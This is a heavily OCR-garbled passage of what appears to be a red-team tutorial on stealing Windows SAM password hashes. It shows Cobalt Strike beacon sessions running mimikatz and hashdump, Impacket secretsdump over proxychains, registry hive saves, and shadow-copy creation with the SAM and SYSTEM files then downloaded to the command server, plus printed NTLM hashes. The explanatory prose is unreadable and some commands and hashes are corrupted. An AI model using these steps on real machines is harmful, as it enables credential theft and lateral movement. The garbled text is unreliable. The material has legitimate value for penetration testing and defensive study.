SAM [1TI11T1]

(11T (SAM) I NTLM I Windows [T (LSA) T SAM T

(I SAM [T

[T mimikatz QT SAM I SYSTEM [T

mimikatz

[IT] Cobalt Strike [T1] Mimikatz [TTTTTITTTThhih ikanbz<bsa i 6¥0v: S [11]

beacon> mimikatz lsadump::sam

[*] Tasked beacon to run mimikatz's lsadump::sam command
[+] host called home, sent: 750702 bytes

[+] received output

Domain : WEBOZ2

SysKey : 2d15a3

Local SID : S

SAMKey :
RID : 000001f4 (500)

User : Administrator
Hash NTLM: 4blad17bdcc5d550a4c77f32263e5b7d

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 8bl62e2bb594a3f1ff45 3ce90cda

* Primary:Kerberos-Newer-Keys *
Default Salt : WIN-FTMVMDC1SGBAdministrator
Default Iterations : 4096
Credentials
es256 _hmac (4096) : elf69c6115816e72d9ce66dcTh952ad5d77e 1d20f
8 (4096) 6952 005ab39db9513a
(4096) : a2alb37919d9b591

[WEBD2] SYSTEM */3000 (x64)

beacon>| |

C2 [I11]
(10 SAM [T mimikatz [JTITTITD ChaghAusAM I 1] Cobalt Strike TTTTTTITITITITIITI
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[*] Tasked beacon to dump hashes
o5t called humv sent: 82541 hytes

Administrator:5
vaaultA(Cuunt:S

Impacket [T]7]
Impacket [T] secretdump.py [T SAM ITTT1T]
~/Desktop/impacket/examples
chains secretsdump.py administrator:Passw@rdweb 72.16.1.52
prelo;ding /
DLL init:
DLL imit i
2.1.devl 6. ; N 1ec35 - Copyr

ynamic chain ... 27.9.9.1:1080

egistry is in stopped state

1p= 100
[*] Dump i 5 on (domain
sql_service

(0 mimikatz DT AT

[TIT]

[TIII1] HKLM\SAM [ HKTM\SYSTEM [II]] SAM [II] SYSTEM[]

reg save HKLM\SYSTEM C: \Windows\Tasks\SYSTEM
reg save HKLM\SAM C: \Windows\Tasks\SAM
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Computer\HKEY_LOCAL_MACHINE\SAM

v [ Computer Name Type Data

HKEY_CLASSES_ROOT ab]| (Default) REG_SZ (value not set)
HKEY CURRENT USER

v || HKEY_LOCAL_MACHINE

. || BCDOODDODDD
HARDWARE

v | SAM

EE. SAM

SECURITY

SOFTWARE

SYSTEM

HKEY_USERS

HKEY_CURRENT CONFIG

w @ Computer
. HKEY_CLASSES_ROOT
HKEY_CURREMT_USER
v HEKEY_LOCAL_MACHINE
. | | BCDOOODOODD
HARDWARE
SAM
SECURITY
SOFTWARE
v | SYSTEM
' ActivationBroker
Control5etD01
Control5etD02
CurrentControlSet
DriverDatabase

MName Type Data
ab| (Default) REG SZ (value not set)

HardwareConfig
Input

Keyboard Layout
Maps
MountedDevices
ResourceManager
ResourcePolicyStore
RMNG

Select

Setup

Software

Waas

WPA

HKEY_USERS
HKEY_CURRENT_CONFIG

beacon= shell reg save HKLM\SAM C:‘\windows‘\tasks\sam

[*] Tasked beacon to run: reg save HKLM\SAM C:‘\windows‘\tasks\sam
[+]1 host called home, sent: 69 bhytes

[+] received output

The operation completed successfully.

beacon> shell reg save HKLM\SYSTEM C:‘\windows‘\tasks\system

[*] Tasked beacon to run: reg save HKLM\SYSTEM C:‘windows‘\tasks\system
[+] host called home, sent: 75 bytes

[+] received output

The operation completed successfully.

(ITTTTT] SAM [0 SYSTEM [TISAM ITTTTITIITITISYSTEM [ITT11T] SAM [J LSA M (011D 10
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I mimikatzimpacket [T]

~/Desktop/impacket/examples
proxychains secretsdump.py -sam /root/Desktop/sam -: em froot/Desktop/system LOCAL
config file found: /Jetc/proxy ins4.conf
preloading fusr/lib/x86_64-linux-gnu/libproxychains.so.4
DLL init: prox ains-ng 4.16
config file found: /etc/proxychains4.conf
preloading /fusr/Llib/x86_64-linux-gnu/libproxy
DLL init: prox ains-ng 4.16
Impacket v0.10.1.dev1+20238116.181610.efcaec3s - Copyright 2022 Fortra

[*] Target system bootKey: 8x2d15a38f34e39e70886f737cfe2dc9e2

[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404ecaad3bs35b51404ee:4blad17bdcc5d550a4c77T32263e5b7d 15
Guest:501:aad3b435b51404ecaad3bs3sSh51404 3ldecfeddleae c59d7e@c@89cC
DefaultAccount:503:aad3b435b51404ecaad3 b51404ee:31d6 2d16ae931b73c59d7e@c@89ca ::
WDAGUtilityAccount:584:aad3b435b51404ee 3b435b514B4ee: 71215516c900ed68326108d57de87 = ::
lpe:10@5:aad3b435b51404eeaad3b435b51404ee:b6b3aas5b21901f 29aeb45df304 :::

[*#*] Cleaning up ...

(11 SAM [111T]

SAM [C:AWinHows\System32\config\SAM[III] SYSTEM [TTTITTTTI T TV OTITITIIITIT]

beacon=> download sam

[*] Tasked beacon to download sam

[+]1 host called home, sent: 11 bytes
Could not open *sam'

beacon> download system

[*] Tasked beacon to download system

[+] host called home, sent: 14 bytes
Could not open 'system'

[WEBG2] SYSTEM */3000 (x64)

heacon=>

(] SAM [IT1 ] SYSTEM [ITTITIIITT SAM 11

wmic shadowcopy call create Volume='C:\

beacon> shell wmic shadowcopy call create Volume='C:\'

[*] Tasked beacon to run: wmic shadowcopy call create Volume='C:\'
[+] host called home, sent: 71 bytes

[+] received output

Executing (Win32_ShadowCopy)-=create()

Method execution successful.

Out Parameters:

instance of _ PARAMETERS

{

ReturnValue
ShadowID = " 5EB1-6244-4454- A37E- 1D9005C1BB97}";
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(LTITITITITT]

vssadmin list shadows

beacon> shell vssadmin list shadows

[*] Tasked beacon to run: vssadmin list shadows

[+]1 host called home, sent: 52 bytes

[+] received output

vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2013 Microsoft Corp.

Contents of shadow copy set ID: {7ea7e3d3-bf85-4e6f-be
Contained 1 shadow copies at creation time: ° 2023 7:39:20 PH
Shadow Copy ID: {92af5 6244-4454-a: 05c1bbo7}
Original Volume: (C:)\\?\Volume{f6aBdcde-0000-0000-0000-602200000000}"
Shadow Copy Volume: RNZNGLOBALROOTYDevice\HarddiskVolumeShadowCopy1l
Originating Machine: web02,white-bird.local
Service Machine: web©2.white-bird.local
Provider: 'Microsoft Software Shadow Copy provider 1.0'
Type: ClientAccessible
Attributes: Persistent, Client-accessible, No auto release, No writers, Differential

[(PAMIBYSTEM [T1111]

\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyl\Windows\System32\Config\SAM
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyl\Windows\System32\Config\SYSTEM

beacon> download %\ ?\GLOBALROOT\Device\HarddiskVolumeShadowCopyl\Window systemiz‘(nnflq‘w TEH
[*] Tasked beacon to download ‘\\?\GLOBALROOT\Device\HarddiskVolumeShadowCo 0 L C

[+] host called home, sent: 86 bytes

[*] started download of “\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1}

beacon> download %\ ?\GLOBALROOT\Device\HarddiskVolumeShadowCopyl\Window d

[*] Tasked beacon to download \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\Config\SAM

[+] host called hom sent bytes
[*] started download of \\? BALROOT\Device\HarddiskVolumeShadowCopy 1\Windows\System32\Config\SAM (65536 bytes)
[*] download of SAM is complete
[WEBO2] SYSTEM */3000 (x64)
beacon>
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